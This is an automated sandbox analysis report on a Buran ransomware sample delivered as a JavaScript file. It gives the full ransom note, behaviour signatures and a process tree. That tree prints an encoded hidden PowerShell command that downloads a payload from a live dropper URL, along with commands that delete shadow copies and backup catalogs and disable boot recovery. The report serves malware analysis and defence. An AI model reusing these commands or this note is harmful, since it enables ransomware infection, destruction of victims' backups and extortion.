Overview

overview

10

Static

static

8661.js

windows7_x64

10

8661.js

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    09/08/2021, 19:59

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General

  • Target
    8661.js
  • Size 282KB
  • Sample210809-wab1tkk982
  • SHA256 3483446bca695be12b37d2e5bb78e751afe9be3bb52945835d966696e356a65b
  • MD5 SHA1 SHA512
Score
10/10
buranpersistenceransomware

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://erzurum.us/65376345273497600381/tjTyjrjywrdmJoaaenvF/dll/assistant.php

Extracted

Path

  • C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

  • buran

Ransom Note
  • !!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? Write to email: [email protected] Reserved email: [email protected] Reserved email: [email protected] Your personal ID: 15D-117-5EA Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\8661.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:900
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2936
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBlAHIAegB1AHIAdQBtAC4AdQBzAC8ANgA1ADMANwA2ADMANAA1ADIANwAzADQAOQA3ADYAMAAwADMAOAAxAC8AdABqAFQAeQBqAHIAagB5AHcAcgBkAG0ASgBvAGEAYQBlAG4AdgBGAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Users\Admin\AppData\Local\Temp\vtiuMTez.exe
          "C:\Users\Admin\AppData\Local\Temp\vtiuMTez.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3712
          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe
            "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe" -start
            5⤵
            • Executes dropped EXE
            • Enumerates connected drives
            • Suspicious use of WriteProcessMemory
            PID:2452
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:996
              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                wmic shadowcopy delete
                7⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:3984
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
              6⤵
                PID:764
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                6⤵
                  PID:3844
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                  6⤵
                    PID:3440
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:692
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      7⤵
                      • Interacts with shadow copies
                      PID:1152
                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe
                    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\TrustedInstaller.exe" -agent 0
                    6⤵
                    • Executes dropped EXE
                    • Drops file in Program Files directory
                    • Drops file in Windows directory
                    PID:2196
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1916
                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                      wmic shadowcopy delete
                      7⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1788
                    • C:\Windows\SysWOW64\vssadmin.exe
                      vssadmin delete shadows /all /quiet
                      7⤵
                      • Interacts with shadow copies
                      PID:3812
                  • C:\Windows\SysWOW64\notepad.exe
                    notepad.exe
                    6⤵
                      PID:2212
                  • C:\Windows\SysWOW64\notepad.exe
                    notepad.exe
                    5⤵
                      PID:900
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3180

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/636-134-0x000002B91BF83000-0x000002B91BF85000-memory.dmp
                  Download

                  memory/636-133-0x000002B91BF80000-0x000002B91BF82000-memory.dmp
                  Download

                  memory/636-126-0x000002B91C2F0000-0x000002B91C2F1000-memory.dmp
                  Download

                  memory/636-135-0x000002B91BF86000-0x000002B91BF88000-memory.dmp
                  Download

                  memory/636-120-0x000002B903BB0000-0x000002B903BB1000-memory.dmp
                  Download

                  memory/900-163-0x00000000004C0000-0x00000000004C1000-memory.dmp
                  Download

                  memory/2196-172-0x00000000009A0000-0x0000000000AE4000-memory.dmp
                  Download

                  memory/2452-162-0x0000000000B60000-0x0000000000CA4000-memory.dmp
                  Download

                  memory/3712-148-0x00000000009B0000-0x0000000000AF4000-memory.dmp
                  Download

                  memory/3712-149-0x0000000000400000-0x000000000054B000-memory.dmp
                  Download